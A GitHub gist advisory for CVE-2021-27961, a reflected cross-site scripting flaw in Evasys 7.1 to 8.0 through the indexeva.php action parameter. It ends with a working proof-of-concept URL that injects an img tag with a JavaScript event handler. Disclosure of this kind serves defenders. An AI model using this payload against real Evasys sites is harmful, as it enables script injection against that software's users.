Skip to content

Instantly share code, notes, and snippets.

@phlmox

phlmox/CVE-2021-27961.txt

Last active July 9, 2025 17:04
Show Gist options
  • Save phlmox/c24bf28f12fbc0f2ea73dd9e8cfa94e3 to your computer and use it in GitHub Desktop.
Save phlmox/c24bf28f12fbc0f2ea73dd9e8cfa94e3 to your computer and use it in GitHub Desktop.
Download ZIP
CVE-2021-27961 - Evasys 7.1 (2152) through 8.0 (2202) Reflected Cross Site Scripting
Raw
CVE-2021-27961.txt
Evasys 7.1 (2152) through 8.0 (2202) allows Reflected XSS via the indexeva.php action parameter.
[Vulnerability Type]
Cross Site Scripting (XSS)
[Vendor of Product]
EvaSys
[Affected Product Code Base]
EvaSys - EvaSys V7.1 (2152) to EvaSys V8.0 (2202)
[Affected Component]
indexeva.php
[Discoverer]
Enes Saltik a.k.a phlmox
[Reference]
https://evasys.de/en/blog/
Proof Of Concept: https://[TARGET].com/indexeva.php?action="><img src=x onpointerenter="alert()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment